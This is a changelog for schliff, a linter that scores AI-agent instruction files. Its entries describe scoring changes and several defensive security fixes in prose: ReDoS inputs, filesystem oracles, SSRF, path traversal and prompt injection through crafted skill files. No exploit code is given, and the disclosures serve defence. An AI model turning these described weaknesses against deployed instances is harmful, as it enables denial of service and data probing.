compareno longer leaks the-1sentinel (#21). Unmeasured dimensions (triggers/quality/edges with no eval suite) were rendered as literal-1.0rows and produced phantom deltas; they are now excluded, mirroring the terminal score display.
8.6.3 - 2026-07-22
- Hardened the engine against untrusted input in third-party CI. A pre-launch
adversarial audit reproduced these before fixing; no golden score changes
(
operational_coverage/profile byte-identical).- ReDoS in the security exfil/env-leak patterns: the greedy
[^\n]*after a verb prefix was O(n²) on a newline-free line (~1h CPU at the 1MB read cap, reachable ungated via a.txtthat auto-detects as a system prompt). Bounded to[^\n]{0,200}. - Quadratic DoS in the clarity scorer (runs on every default instruction-file score): the action-pair extractor scanned the full tail of a newline-free line per match (~3min at the cap). Bounded the tail slice.
- Filesystem-boundary oracles in
check-commands: a symlinkedMakefile/package.jsonor an escapingbun run <path>was read/probed outside the repo root, turning resolved/dangling verdicts into an out-of-repo content/existence oracle. Added arealpath+commonpathcontainment guard at each manifest read.
- ReDoS in the security exfil/env-leak patterns: the greedy
--format <alias>token budget. The short aliases (cursor,agents,claude,skill,system-prompt) fell back to the unknown=1500 budget instead of their real one, flipping the within-budget verdict. They now resolve viaFORMAT_ALIASESbefore the lookup.- Dead playground link. The Action's PR comment linked
play.schliff.dev(never registered, NXDOMAIN); repointed to the live playground.
8.6.2 - 2026-07-21
- GitHub Action surfaces dangling commands. The
AGENTS.md Lintaction now runscheck-commandsforAGENTS.md/CLAUDE.mdand renders any dangling commands as a section in its existing PR comment. New opt-infail-on-danglinginput (defaultfalse) anddangling_countoutput. Requires schliff ≥ 8.6.1 for false-positive-safe behavior; older engines degrade silently.
check-commandsworkspace false positives + resolver hardening. A large adversarial review + council + a field sweep of 135 real repos found the 8.6.1 check still reporting working commands asdanglingon monorepos. Every change only demotesdangling→unknown(never a new false claim);operational_coverageis untouched, so scoring is byte-identical. A field diff over 140 real repos: 17 → 4 dangling claims, every removal workspace-justified.- Workspace-aware demotion (the real false-positive class): a
<pm> run <script>missing from the ROOT manifest isunknown, notdangling, when the repo declares workspaces (pnpm-workspace.yamlor a truthyworkspaceskey) — the script may live in a child package. - Denial-of-service input-budget guard on attacker-authored docs (5000 lines /
2048 bytes-per-line / 256 distinct commands → all-
unknown, no per-command work), plus per-call memoization of manifest parses. - realpath containment for the interpreter path check, closing a symlink existence-oracle.
- Accurate report lines — the real extraction line is threaded from the
extractor, retiring a quadratic substring scan that could mislocate the line and
bypass the
cddemotion. - Dequoted script tokens and
--if-presenthandling (a missing script is not a hard error) →unknown.
- Workspace-aware demotion (the real false-positive class): a
8.6.1 - 2026-07-21
check-commandsfalse positives on real repos. An adversarial review plus a field sweep of real monorepos (palantir/blueprint, remotion, remix, swc) found the 8.6.0 check reporting working commands asdangling— the exact credibility-fatal error its conservative contract exists to prevent. All are now correctlyresolved/unknown; every fix only demotesdangling→unknown, so the check can never gain a false claim, andoperational_coverageis untouched (scoring unchanged). Classes fixed:cd sub/dir && npm run x— the extractor drops thecd, so the script resolved against the repo-root manifest (standard monorepo idiom).(cd x && npm run build)— the trailing paren clung to the token.bun run index.ts/bun run dist/out.js— bun resolves scripts, then files, then binaries; absence is unprovable, so bun never yieldsdangling.yarn tsc/yarn run x— every yarn form falls back tonode_modules/.bin.make -C dir target— the directory was read as the target.pnpm run -r build— the flag was read as the script name.$(TARGETS):and%.o: %.c— variable/pattern targets are not enumerable, so the target set is treated as incomplete.
check-commandsdenial-of-service on attacker-authored build files. Parsing a consumer'sMakefile/package.jsonin CI is untrusted input:includefan-out had no visited-set (N**5 file opens; 15s at N=12) → iterative worklist, O(files).- the
includeregex backtracked quadratically on long whitespace (15.7s on one 800KB line) → linear. include ../../outsidewas opened (a read primitive outside the checkout) → realpath-contained to the repo root.- a deeply-nested
package.jsonraisedRecursionError(aRuntimeError, not caught) and crashed the check → now degrades tounknown.
8.6.0 - 2026-07-20
check-commands— a deterministic CI gate that flags setup/build/test commands in anAGENTS.md/CLAUDE.mdthat don't resolve to a real make target, npm script, or path in the repo (exit 1 if dangling). Reuses theoperational_coveragecommand extractor (no scoring impact); false-positive safe (unprovable absence →unknown, neverdangling); live-hardened against ~70 real repos. schliff dogfoods it against its ownAGENTS.mdin CI. (#112)
operational_coverageobject-first prohibitions, badge temp-dir leak, and badge error caching (#110).
8.5.0 - 2026-07-07
verifyscores under the detected format profile (#102, closes #101). It previously hand-rolled the SKILL scorer set, soschliff verify AGENTS.mdscored the file under the wrong profile and failed spuriously (27.7/F on a filescoregrades 91.6/A). Now wired likescore/badge:detect_format → build_scores(fmt) → compute_composite(fmt=fmt). SKILL.md verdicts are unchanged.- Positional negation in
operational_coverage(#96): contrastive sentences ("run X, never Y directly") keep the recommended command instead of discarding both. - Dead-marker detector matches marker tokens, not English prose (#97, closes #93): UPPERCASE tokens/stubs count; words like "placeholder" in prose no longer false-positive. Corpus goldens re-derived.
- Runtime scorer prompt hardened (#99): skill content is nonce-wrapped
(
<skill_context_NONCE>) so crafted files cannot forge the prompt structure. Defense-in-depth — the dimension remains opt-in and gated off.
- Instant star-count notify workflow for the profile-repo badge (#98).
- Theme-aware README hero (light/dark SVG) + social-preview asset (#106).
- Dependabot now groups github-actions bumps into one PR — split bumps of lockstep actions (codeql init/analyze) could never pass CI (#107).
- README redesigned (#100): AGENTS.md-first, every number ground-truthed against the released engine, ShieldClaw case-study table disambiguated (ceiling vs quality), hydra field study added, new "What the score does not measure" section, Marketplace listing linked.
8.4.0 - 2026-07-03
operational_coveragedimension for AGENTS.md (PR #83). Measures whether an AGENTS.md actually equips a coding agent to operate the repo: real setup/build/test commands (command-family classification, doc-wide, headings never gate) plus code-style / gotchas / PR directive sections with concrete code tokens. Surfaced in the CLI dimension table, the Action's PR comment, and accepted by the leaderboard submit API.
- BREAKING (scores): AGENTS.md headline profile is now
structure 0.40 / operational_coverage 0.40 / efficiency 0.20(was 0.5/0.5).efficiencywas a validated gameable proxy — a junk-fence-stuffed doc scored 92.5/A while the same real commands inline scored 70.0/C. All AGENTS.md scores re-baseline: 30-file corpus mean 61.06, no file reaches S. SKILL.md / CLAUDE.md / .cursorrules / system-prompt scoring is byte-identical.
- Fixed a ReDoS in the operational_coverage heading regex (quadratic on
whitespace-only heading lines; playground/Action/leaderboard take untrusted
input). Found and fixed pre-release by a 75-agent adversarial review, along
with a directive-gate homonym gaming hole, a fence-state desync on
info-string openers, and 12 command-recall bugs — see
docs/specs/agents-md-operational-coverage.md§11.
8.3.0 - 2026-06-25
- AGENTS.md scoring profile.
AGENTS.mdis project context for coding agents, not a reusable skill, so it is now scored on a dedicated headline (0.5·structure + 0.5·efficiency) instead of the SKILL.md rubric. The eval-gated dimensions (triggers/quality/edges) plus the mis-fit composability and the saturated clarity are excluded from the headline denominator, and the nonsensical "add an eval suite" warning is suppressed for this format. A well-formedAGENTS.mdnow scores a defensible B/A instead of a capped ~28/None. Other formats (SKILL.md/CLAUDE.md/.cursorrules/system_prompt) are byte-identical. Spec:docs/specs/agents-md-scoring-profile.md. (#67) suggest/evolveno longer emit SKILL-only advice (frontmatter, eval-suite, handoffs) forAGENTS.md. (#67)- GitHub Action rebranded to "AGENTS.md Lint".
action.ymlnow lives at the repository root (Marketplace-eligible), defaults to scoring a rootAGENTS.md(skill-pathis optional), and posts a format-aware scored PR comment. Usable asuses: Zandereins/schliff@v1. (#66, #68, #69)
- The Action's PR comment no longer renders unmeasured (
null) dimensions as a misleading0/100; they are omitted, matching the engine's terminal output. (#68)
8.2.0 - 2026-06-11
- Public Vercel deployments: an interactive playground (
POST /api/score, real scoring engine) and a community leaderboard (/api/submit,/api/query). (#50, #54) - Leaderboard durable storage on Upstash Redis (Vercel KV, $0) — atomic dedup upsert that
survives cold starts, plus a KV-backed per-IP rate limiter; transparent ephemeral
/tmpfallback when KV is not configured. (#58, #59) - CodeQL SAST workflow (
security-extended, SHA-pinned, least-privilege). (#59) - Machine-readable version output / agentic-integration groundwork. (#57)
- BREAKING: drop Python 3.9 support — minimum supported version is now Python 3.10
(
requires-python = ">=3.10"). Python 3.9 reached end-of-life on 2025-10-31. The CI test matrix and rufftarget-versionwere updated accordingly. (#55) - Modernized license metadata to the PEP 639 SPDX expression form (
license = "MIT"), dropping the deprecatedLicense :: OSI Approved :: MIT Licenseclassifier. Requiressetuptools>=77. (#55) - Playground now reports an honest structural score (renormalized over the four deterministic
dimensions) instead of a coverage-capped composite; removed a phantom
syncdimension. (#54)
- Leaderboard submit read-modify-write race + non-atomic write (now flock-serialized +
atomic
os.replace). (#58) - Vercel deployability (score.py
sys.pathbootstrap,framework:null, build-artifact gitignore), JSON crash guard,install.shhardening, CLI error UX, and web a11y/contrast/keyboard + Google-Fonts CSP. (#50, #53, #55, #56)
- Fix ReDoS / remote CPU-DoS in the scoring engine.
_RE_REAL_EXAMPLES/_RE_DIFF_EXAMPLEused an unboundedinput.*output(O(n²) underfindall); a ~256KB single-line payload via the public playground pegged a serverless function's CPU for ~90s. Bounded toinput.{0,200}?output(linear), regression-guarded, and the playground caps scored input at 32KB as defense-in-depth. (#59) - Prompt-injection hardening — nonce-wrap untrusted skill content in the judge and runtime evaluators; pre-validate regex complexity. (#56)
- Hardened web security headers across both apps: CSP (playground drops
script-src 'unsafe-inline'via a sha256 pin), HSTS, Permissions-Policy, X-Frame-Options, nosniff, Referrer-Policy,Cache-Control: no-store. (#50, #56, #59) - Bound durable leaderboard submissions (global 500/3600s + 10000-entry size cap) against persistent pollution; NFKC + invisible-character dedup-bypass guard; generic 500s. (#50, #58, #59)
- Supply chain & repo posture: SHA-pinned actions, OIDC trusted publishing, pinned
schliffin the web apps,.env*.localgitignored, andmainbranch protection (required CI checks). (#59)
8.1.0 - 2026-06-03
- Multi-agent correctness/security/determinism hardening (PR #46): calibrated weights gated
behind
SCHLIFF_CALIBRATED_WEIGHTS(off by default) soverify/badge/leaderboard stay reproducible;weight_source/weights_hashprovenance; BOM-invariant scoring at the read boundary; ReDoS-safe secret redaction; format-aware composite weighting across the CLI. - CI lint gate:
ruffnow runs and gates in GitHub Actions (baseline cleaned to zero findings). - Community-health files:
CODE_OF_CONDUCT.md(Contributor Covenant 2.1) and an issue-templateconfig.yml. Top-level--version/-Vflag.
- README +
docs/redesign: accurate full-denominator composite model (replaces the previously inverted description inSCORING.md), correct dimension/weight tables, single-sourced version, current architecture with diagrams. Web playground/leaderboard corrected to the canonical model (removed a non-existent dimension, fixed repository links, hardened CSP). - Packaging: CLI version is single-sourced via
importlib.metadata(no more hardcoded drift). - Performance:
doctorsingle tree-walk, O(n) header lookup instructure, cached regexes/MinHash.
- Internal launch corpus and marketing drafts from the public tree (regenerable via
skills/schliff/scripts/launch/); untracked local tooling artifacts.
8.0.0 - 2026-05-29
- Failure-mode-first AI-Eval foundation: sprint spec + 7 ADRs, Phase-0 open-coded failure-mode taxonomy (10 snapshotted skills), Phase-1 calibration scaffold.
- Deterministic judge guards (
scoring/guards.py): destructive-command, gating-invariant (linter-completeness floor), and mixed-script detectors — staged for the v8.1 judge harness, not wired into the live linter; they carry no composite weight. - Judge v0 smoke-test harness (
judge/judge_v0.py, optional[judge]extra): pinned model, structured output, mock-testable. Calibration is FROZEN as v8.1 backlog (4 live runs plateaued at directional 7/11; resumes only when distribution yields real users + a concrete quality miss). - GitHub Action (
action/action.yml) to score skills as a CI / PR quality gate. - Plugin-marketplace install: schema-valid
.claude-plugin/marketplace.json(/plugin marketplace add Zandereins/schliff) plusnpx skills addsupport. - Leaderboard scoring-model epoch versioning: v7-scale and v8-scale composites never co-rank;
?score_model=Nselects a scale (default = the latest epoch present).
- BREAKING (scoring): Composite is now computed over a single canonical 7-dimension basis
with a full denominator — unmeasured dimensions are uncredited (not silently renormalized away).
Scores for skills without an eval suite are lower and now reflect coverage. This unifies the
score/doctor/benchandevolvepaths (one number per file) and closes the anti-gaming gap where a gamed skill could match a clean one at composite level. Security is reported as a separate signal/gate, no longer folded into the headline. CI thresholds (fail if score<N) may need re-tuning. Seedocs/superpowers/specs/2026-05-26-audit-followups-design.md. - Anti-gaming: added a spread-keyword-stuffing penalty (efficiency dimension) and a composite
separation gate (
benchmarks/anti-gaming) asserting every gamed skill scores below a clean control. verifyis now coverage-aware: the pass threshold scales with measured coverage (effective_min = min_score × coverage), so skills without an eval suite are judged against a structural bar instead of the unreachable full default. Adding an eval suite raises the bar to the full surface.- Cold-start UX: the partial-coverage message reads as an invitation (ℹ "add an eval suite to score the rest"), not a scold (⚠ "uncredited / ceiling").
- README leads with native install (
/plugin marketplace add,npx skills add); pip demoted to CLI/CI.
missing_refs(structure): referenced files resolve skill-local OR against an enclosing plugin/.git root (fixes false-positives on plugin-monorepo layouts), with full paths in the message; plus path-traversal confinement (reject.., resolve-confine) so an untrusted SKILL.md cannot probe the filesystem.evolve._score_fileauto-discovers the eval suite, matchingschliff score.- Public playground reframes a partial-coverage result as a "Structural Score" with a neutral coverage chip instead of a red failing grade (no second scale introduced).
- Public endpoints: hard cap on decoded skill text (compute-DoS bound) + read-cap vs a lying
Content-Length; leaderboard responses tagged
verified:false/unverified:true. commands/schliff/mesh.mdregistered as/meshinstead of/schliff:mesh.
- Pre-launch audit (3 parallel lenses + Hydra closing council): removed tracked internal docs that contradicted the pitch; SECURITY.md version table + network/exec claims scoped to the zero-dep core.
7.2.0 - 2026-04-24
- Prompt-injection hardening in
schliff evolve: user-authored skill content is wrapped in explicit XML tags with a per-call random nonce before being passed to LLM prompts. Earlier versions fed raw content into the meta-prompt, letting a crafted SKILL.md inject directives. A sanitizer rejects XML-tag injection attempts and an explicit<user_content>…</user_content>boundary isolates user input. - CLI error-handling with no traceback leaks:
schliff scoreon a directory or oversized file no longer leaks a raw Python traceback.read_skill_saferejects directories explicitly with a clearValueError;cli.main()wraps handler dispatch in one(OSError, ValueError)try/except that renders a shortError: …line on stderr and exits 1.
- Scoring robustness across all dimensions: all five scorers that
consume user-authored eval-suite JSON (
edges,triggers,quality,runtime,coherence) now guard their list-valued fields withisinstance(…, list)checks. Pre-fix, a truthy non-list ({"edge_cases": 42},{"triggers": "abc"}) crashed the scorer withTypeErrorfromlen()orAttributeErrorfrom.get()on a string character. Post-fix each scorer returns its standard sentinel (score −1 / bonus 0) on malformed input; innerassertionsandtest_caseitems are filtered via_assertion_dictshelpers. score_edgescategory guard: malformedcategoryentries (ints, nulls, lists) no longer crash.startswith()during known-category coverage.install.shandanalyze-skill.shPOSIX portability: replaced GNU-only\s/\Singrep -Epatterns with POSIX character classes[[:space:]]/[^[:space:]]. On older macOS (classic BSD grep), the installer previously printed "Schliff v unknown" andanalyze-skill.shmissed name / example detection.- Score-to-grade consistency: playground, evolve, GitHub Action, and
CI badges now share the canonical E-band (35–49) from
terminal_art.score_to_grade; previously each surface drifted.
- E-band grade now emitted in badge/CI output. Consumers that parse
a grade field with a closed set of
{S, A, B, C, D, F}must now acceptEas well. Breaking for JSON consumers that did exhaustive grade switching; non-breaking for score-based consumers. install.shreads VERSION frompyproject.tomlat install time instead of carrying a hard-coded literal. Release process simplified accordingly inRELEASING.md.- EXCLUDED_DIRS centralized in
shared.py;doctorand related scanners share one canonical list. - Scorer signatures cleaned up: unused
**kwparameters and deadImportErrorfallbacks removed from several scoring / pattern modules. verifyusesterminal_art.score_to_gradeinstead of a local duplicate, keeping grade mapping in one place.
RELEASING.mdpre-release checklist documents the full release procedure (version bump, CHANGELOG draft, tag, publish, badge cache-bust).- Cross-platform CI expansion: GitHub Actions matrix covers Python
3.9–3.13 on ubuntu-latest and adds a dedicated
test-macosjob gating badge generation / report publishing. - ~100 new regression tests covering non-list eval-suite fields, CLI
error-handling paths, BSD-grep portability of shipped shell scripts,
prompt-injection sanitization, UTF edge cases, runtime enabled path,
and
score_edgeserror branches. setuptoolsupper bound pinned inpyproject.tomlto avoid build breakage from future major releases; test files excluded from the wheel.
- Total: 1017 → 1117 (+100) / 0 skipped / 0 failed
- New files:
test_scoring_type_guards.py,test_cli_error_handling.py,test_install_version.py; expandedtest_scoring_edges_malformed.pyand newtest_evolve_prompt_injection.py/test_evolve_sanitize.py.
7.1.1 - 2026-04-18
- List-marker support in actionable-line patterns:
_RE_ACTIONABLE_LINESand three sibling patterns (_RE_RUN_PATTERN,_RE_DIFF_SIGNAL,_RE_IMPERATIVE_INSTRUCTION) previously only matched numbered list prefixes (1. Run X) or bare imperatives, silently dropping markdown bullets (- Run X,* Use Y,+ Install Z). A shared_LIST_MARKERalternation is now applied to all four. Impact on a real public CLAUDE.md (root file merged intomodelcontextprotocol/servers): efficiency 57 → 64, composite 59.2 → 61.0. - 10 new regression and false-positive tests in
TestListMarkerSupportcovering supported markers, bare-imperative regression, nested indentation, word-boundary guards, and marker-without-verb cases. Full suite: 1017 passed (up from 1007).
7.1.0 - 2026-03-27
schliff report: Generate Markdown quality reports with dimension breakdown, shareable via--gist(GitHub Gist API)schliff drift: Stale reference scanner — detects paths, scripts, and make targets referenced in instruction files that no longer exist on diskschliff sync: Cross-file instruction consistency analysis — finds contradictions, gaps, and redundancies across all instruction files in a repositoryschliff track: Score tracking over time with sparkline visualization and regression detection- Token budget tracking:
schliff score --tokensshows section-by-section token breakdown with format-specific budgets and severity levels (ok/warning/over) - Doctor multi-format:
schliff doctornow discovers and reports on CLAUDE.md, .cursorrules, AGENTS.md alongside SKILL.md, with drift analysis on all discovered files - Web Playground polish: Demo file allowlist, Content-Security-Policy headers, improved vercel.json routing
- Leaderboard scaffold: Static leaderboard site with serverless API at web/leaderboard/ (ephemeral storage for demo phase, external storage TODO)
- 140 new tests (592 → 732 total), 4 audit iterations on core branch, 1 audit iteration each on intelligence and web branches
- Path traversal prevention in drift detector (normpath + containment check, absolute/parent path rejection)
- Control character and bidirectional override rejection in leaderboard skill_name validation
- Content-Security-Policy headers on playground and leaderboard
- Duplicate CORS header elimination (vercel.json-only, no Python-level ACAO)
- Temp file cleanup on atomic write failure in track module
- Version field length bound (max 50 chars) on leaderboard submissions
- Token budget severity/within_budget contradiction at exactly 100% utilization
- Doctor relpath used process cwd instead of scan_root (wrong paths when invoked from different directory)
find_redundanciesO(n²) performance — capped at 150 directivesload_historysilently returned empty list for oversized files (now salvages last 100 entries with warning)- Config value regex captured inline comments as part of value (false conflicts)
7.0.0 - 2026-03-26
- Multi-format support: Score CLAUDE.md, .cursorrules, AGENTS.md alongside SKILL.md
- Auto-detection from filename,
--formatoverride flag - Content normalization (synthetic frontmatter for non-SKILL.md formats)
- Zero scorer changes — all formats normalized to SKILL.md shape before scoring
- Auto-detection from filename,
- Security scoring dimension: 10 regex patterns across 6 categories (injection, exfiltration, dangerous commands, obfuscation, overpermission, missing boundaries)
- Deductive scoring (100 minus penalties), graduated composite cap
- False-positive mitigation: code-block exclusion, meta-discourse detection (90% reduction), negation-aware matching
- Opt-in via
--securityflag
schliff compare: Side-by-side quality comparison of two skill files with dimension deltasschliff suggest: Ranked actionable fixes with estimated score impactschliff score --url: Score remote skill files from GitHub URLs (HTTPS-only, host allowlist, SSRF protection)- Web Playground: Browser-based scorer at schliff.dev/play (serverless Python, shareable URLs)
- GitHub Action: Published to Marketplace with PR comments, grade output, branch protection support
- 52 new tests (540 → 592 total), 4 rounds × 6 agents security review per feature branch
- SSRF redirect protection (
_SafeRedirectHandler) - YAML injection prevention in content normalization
- Path traversal guard in playground API
- Shell injection prevention in action
- Content-Length malformed header guard
- JSONDecodeError handling on all JSON parse paths
6.3.0 - 2026-03-26
schliff diff <path>command — show score delta vs. previous commit (or any--ref)- Ref validation (prevents git flag injection), path containment check, size limit guard
- Human-readable and
--jsonoutput formats
- CLI quick-start epilog —
schliffwithout args now shows demo/score/doctor hints - Case study: ShieldClaw (OpenClaw plugin) — 68.3 [C] → 94.6 [A] in 1 round, cross-ecosystem proof
- 85 new tests: cmd_diff (18), composite weights (33), diff scoring (34)
- README: context bridge explaining Claude Code for non-users
- README: commands table split into CLI (standalone) vs Claude Code (require integration)
- README: "Where Schliff fits" ecosystem diagram moved to Quick Start section
- Scoring: trigger precision/recall reported 100.0 when no predictions existed (now 0.0)
- Scoring: clarity scorer skipped ambiguous pronoun detection on first line (i==0 case)
- Scoring: efficiency scorer returned float instead of int (inconsistent with other dimensions)
- README: self-score rewording removes circular "99.0/100" claim
- README: anti-gaming section honestly frames benchmark as self-designed suite
- README: triggers description corrected from "conflicts between skills" to "eval-suite trigger accuracy"
- README: test count updated to actual 540 unit + 99 integration with links
- Security:
score_diff()now receives resolved absolute path instead of raw user input - Docs: stale test counts in ARCHITECTURE.md and CONTRIBUTING.md updated
6.2.0 - 2026-03-25
schliff democommand — score a built-in bad skill to see schliff in action instantlyschliff badge <path>command — generate copy-paste markdown badge for READMEs- Pre-commit hook support (
.pre-commit-hooks.yaml) for automatic skill quality gates - Doctor:
--verboseflag shows per-skill issues,references/extraction recommendation for large skills - Community case study: @wan-huiyan agent-review-panel (64→85.6, 75% token reduction, A/B validated)
- 24 new tests for demo, badge, ReDoS fix, clarity injection, JSON rounding (455 total)
- Show HN launch draft (
docs/specs/show-hn-draft.md)
- Security: ReDoS in
_RE_ERROR_BEHAVIOR— bounded[\w\s]+to\w[\w ]{0,80} - Security: OOM-safe eval-suite loading —
stat().st_sizecheck beforeread_text() - Security: symlink rejection on
references/directory and files inestimate_token_cost - Scoring:
no_real_examplessilently suppressed whencode_block_pairs >= 6 - Scoring: clarity auto-injection with custom weights — custom weights now take full precedence
- CLI:
schliff autoreference corrected to/schliff:auto(Claude Code slash command) - CLI: JSON dimension scores rounded to 1 decimal (was outputting raw floats like 92.0501...)
- CLI: badge URL encoding with
safe=""(forward slash was not percent-encoded) - Pre-commit:
pass_filenames: truewith file filter (wasfalse, causing argparse crash) - Removed unused
score_coherencefrom public API exports - Removed dead
SCRIPT_DIRassignments in doctor.py and skill_mesh.py - Fixed stale BUG DOCUMENTED comments in test_edge_cases.py
- Quick Start: reordered to demo → doctor → score for better onboarding
- README: GIF uses absolute GitHub raw URL (fixes broken image on PyPI)
- README: Mermaid diagram section includes "view on GitHub" hint for PyPI
- PyPI metadata: added Homepage, Documentation URLs, Environment::Console classifier
- GitHub: topics reduced from 20 to 10, homepage URL set to PyPI
6.1.0 - 2026-03-24
- Description-aware trigger generation in init-skill (Issue #13)
- Precision/recall reporting in trigger scorer
schliff verifycommand for CI integration (exit 0/1/2, --min-score, --regression)- Anti-gaming benchmark with 6 synthetic skills (6/6 detected)
- Repetition detection in efficiency scorer (repeated identical lines count as noise)
- Screenshot-ready
schliff scoreoutput with per-dimension bars and status words - 100+ new tests (init-skill, precision/recall, verify, terminal_art, anti-gaming)
- 10 new eval-suite test cases (tc-8..tc-17) with 66 coherence-covering assertions
- SKILL.md compressed by 13% (1676→1455 words) without information loss
- Self-score: 95.7 → 99.0/100 [S] (quality 91→99 via coherence, efficiency 88→92 via compression)
- Init script no longer generates Schliff-specific triggers for non-Schliff skills
- Structural markers (code fences, headers, horizontal rules) excluded from repetition count
- Code block content excluded from repetition counting (prevents false positives on examples)
load_last_scorehandles corrupted history entries without crashingrun_verifyreturns exit code 2 on file-not-found and scorer errors- ANSI reset constant used consistently in terminal_art output
- 10 bugs from 5-agent security audit (shell injection, prompt injection, ReDoS guards)
- Composability handoff pattern restored (was dropped during SKILL.md compression)
6.0.0 - 2026-03-24
- Rebrand: SkillForge → Schliff — "the finishing cut" (German: den letzten Schliff geben)
- All
/skillforge:*commands renamed to/schliff:* - All internal references, paths, demo files updated
- Clarity as default dimension — 7th dimension always active (5% weight, opt-out via
--no-clarity) - Token cost estimation — Doctor shows per-skill token cost + fleet total
- GitHub Action —
Zandereins/schliff@v6scores skills in CI, comments on PRs - pip CLI —
schliff score SKILL.mdworks without Claude Code - Actionable Doctor — copy-paste commands with full skill paths
- Trigger confidence cap — eval suites with <8 triggers capped at score 60
- Context-aware contradictions — "run tests" vs "run tests in production" distinguished
- Anti-gaming headers — empty sections don't count toward structure score
- Signal caps — efficiency can't be gamed with repetitive markers
- Star badge — GitHub stars visible in README
- "What Schliff Fixes" table — concrete before/after improvements
- "Quality & Security" section — trust signals front-loaded with "What This Means"
- "Next Steps" CTAs — clear paths forward for visitors
- 3 new unit tests (token estimation, context contradictions)
- Trigger threshold floor prevents false positives on small eval suites
- Missing dimension warnings always shown (except opt-in runtime)
- Clarity false positives on same verb with different context
--clarityflag removed (clarity is now default; use--no-clarityto opt out)
- Atomic file writes in text-gradient.py (prevents skill corruption on crash)
re.errorguard on all user-controlled regex patterns- Path traversal validation before skill file writes
from __future__placement after docstrings in 3 files- Unguarded
terminal_art.progress_barimport with fallback stub - Broken all-errors guard using zip identity check
- Missing
encoding="utf-8"on eval-suite JSON reads (4 call sites) - Unvalidated
diff_refparameter in git subprocess calls - Severity filter bypass on mesh cache hit
terminal_artimport beforesys.pathsetup in dashboard- Non-deterministic
hash()replaced withhashlib.sha256in LSH banding progress.pyloaded once instead of 3 times in report generator
- Honest Scoring — "Structural Score" label everywhere, replacing misleading "Quality Score"
- Stemming Tokenizer — suffix-stripping replaces fixed synonym tables for better keyword matching
- Beam Search — top-3 exploration instead of greedy top-1 from iteration 4 onward
- EMA Plateau Detection — Exponential Moving Average replaces fixed-window ROI stopping
- MinHash + LSH — O(n) mesh analysis instead of O(n^2) for 50+ skills
- Context-aware Patches — generates meaningful descriptions instead of TODOs
- Doctor Command (
doctor.py) — scans all installed skills, shows health summary with grades - Dimension Guard — prevents patches that tank a single dimension by >15 points
- Coherence Check — instruction-assertion alignment as quality bonus
- 40+ Pre-compiled Regex — performance optimization across the scorer
- Public Cache API —
invalidate_cache()replaces direct_file_cache.pop() - Underscore Alias Modules —
score_skill.py,text_gradient.py,skill_mesh.py,parallel_runner.pyfor Python import compatibility
- State truncation bug in auto-improve loop
- EMA indexing off-by-one in plateau detection
- Deterministic hash for MinHash reproducibility
- Auto-Apply (
text-gradient.py --apply) — deterministic patches apply themselves without LLM - Auto-Improve (
auto-improve.py) — autonomous loop driver: score → gradient → apply → keep/revert → repeat - Strategy Predictor (
meta-report.py predict_best_strategy()) — predicts P(keep) before trying - Runtime Scoring (
score-skill.py --runtime) — 7th dimension invokes Claude for behavioral validation - Auto-Calibration (
meta-report.py compute_optimal_weights()) — dimension weights from data - Mesh Evolution (
skill-mesh.py generate_mesh_actions()) — generates negative boundaries, stubs, scope fixes - Incremental Mesh (
skill-mesh.py --incremental) — content-hash caching, O(n×changed) not O(n²) - Episodic Memory (
episodic-store.py) — cross-session TF-IDF recall with auto-consolidation - Parallel Branching (
parallel-runner.py) — git worktree experiments, 3 strategies at once - ROI Stopping — marginal ROI < 0.2 for 3 windows → auto-stop
- Gap Buckets (
progress.py) — dimension gaps discretized for predictor input - Episode Emit (
progress.py) — auto-emit learnings to episodic store after decisions - New subcommands:
/schliff:auto,/schliff:mesh-evolve,/schliff:predict,/schliff:recall
- Dimension weights redistributed: triggers 25%→20%, quality 25%→20%, composability 10%→5%, new runtime 15%
compute_composite()auto-loadscalibrated-weights.jsonwhen available- Scorer test updated: 7 dimensions (6 core + runtime opt-in)
- 3 critical + 4 high security issues from 4-agent code review
- CI stability with
--no-runtime-autoin self-tests
--sinceflag now correctly scopes all 11 methods inprogress.py- Consistent score capping across all scoring functions
- Cost tracking: real
duration_ms,tokens_estimated,delta, computedstatus - 25 new integration tests (51 total)
explain_score_change()wired into--diffoutput- Security: path traversal guard, file size limit (1MB), ReDoS protection
- CHANGELOG.md, SECURITY.md, GitHub CI workflow
- Dead code:
history/results.tsv - Shell expansion risk: replaced
xargswithsedinrun-eval.sh
- Runtime evaluator — invoke Claude with test prompts
- Diff-aware scoring (
--diffflag) - Strategy meta-learning in
progress.py - Instruction clarity scorer (
--clarityflag) - Eval health classification
- 26-test integration suite + 12-test self-test suite
- 7 critical bugs found by sparring agents
- 3 assertion type mismatches
- 2 crash bugs, clarity false positives
- Bidirectional synonym expansion, plateau guard, interaction effect detection
- TF-IDF trigger scoring, composability analysis, 9-phase protocol
- Discovery mode, parallel experimentation, noisy metric handling
- Initial release — 6-dimension scoring, eval runner, progress tracking